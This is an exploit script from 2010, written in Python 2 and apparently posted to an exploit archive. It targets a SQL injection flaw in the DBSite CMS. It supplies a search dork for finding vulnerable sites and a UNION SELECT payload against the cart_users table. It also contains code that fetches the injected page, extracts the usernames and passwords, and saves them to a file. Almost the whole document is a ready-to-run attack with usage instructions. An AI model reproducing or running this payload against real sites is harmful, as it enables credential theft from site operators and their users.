DBSite - SQL Injection

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# --------------------------------------------------------
# Exploit Title: DBSite Remote SQL Injection Vulnerability
# Date: 13/10/2010
# Author: God_Of_Pain
# Version: 1.0
# Tested on: Linux
# --------------------------------------------------------
# ========================================================
# Greetz to: LordTittiS3000 && System_Overide
# Example: http://www.site.it/index.php?id=[SQLi]
# Dork: intext:"Powered by DBSite" inurl:index.php?id=
# ========================================================

import urllib2
import sys
import re
import os
import time
import platform

if platform.system() == "Linux":
	os.system('clear')
elif platform.system() == "Windows":
	os.system('cls')

try:
	testo = """
	*****************************************************************
	*          +----------------------------------------+           *
	*          | CMS DBSite SQL Injection Vulnerability |           *
	*          +----------------------------------------+           *
	*          |     Bug Discovered  By God_Of_Pain     |           *
	*          +----------------------------------------+           *
	*          |      Exploit Coded By God_Of_Pain      |           *
	*          +----------------------------------------+           *
	* ============================================================  *
	* +----------------------------------------------------------+  *
	* |               Usage: Exploit.py <site> <id>              |  *
	* +----------------------------------------------------------+  *
	* |  python exploit.py <http://site.com/index.php?ID=> <10>  |  *
	* +----------------------------------------------------------+  *
	*****************************************************************

	"""
	print(testo)
	time.sleep(1)

	target = sys.argv[1]
	ID = sys.argv[2]
	http = "http://"
	sql = "+union+select+concat(0x3e3e3e,USERNAME,0x3a3a3a,PWD,0x3e3e3e),2,3+from+cart_users--"
	newid = "-"
	spa = " "

	if http in target:
		del(http)
	sqli = target + newid + ID + sql
	if spa in sqli:
		del(spa)
	print "Ok, Exploiting..."
	print ""
	time.sleep(1)
	print "Please Wait..."
	print ""
	time.sleep(1)
	try:
		prov = urllib2.urlopen(sqli).read()
		prov2 = re.findall(r">>>(.*)([0-9a-zA-Z])([^<>])(.*)>>>", prov)
		if len(prov2) > 1:
			print "+--------------+"
			print "| Exploit Done |"
			print "+--------------+"
			print "User & Pwd =>   " + prov2[0][0] + prov2[0][1]
			time.sleep(1)
			print ""
			print "Saving User && PWD in a .txt file..."
			print ""
			o = open("User&&PwdDBSiteExploit.txt", "w")
			o.write(prov2[0][0] + prov2[0][1])
			o.close()
			print "Saved!"
			print ""
			print "Thanks for using this Exploit!"
		else:
			print "+----------------------+"
			print "|    Exploit Failed    |"
			print "+----------------------+"
			print "|    I'm so sorry :(   |"
			print "+----------------------+"
	except urllib2.HTTPError:
		print "Sorry! Exploit Failed! There is an error :("
except IndexError:
	print "-* Good Luck! *-"

# The End! :)
# -------------------------------------
# http://oversecuritycrew.webnet32.com/
# -------------------------------------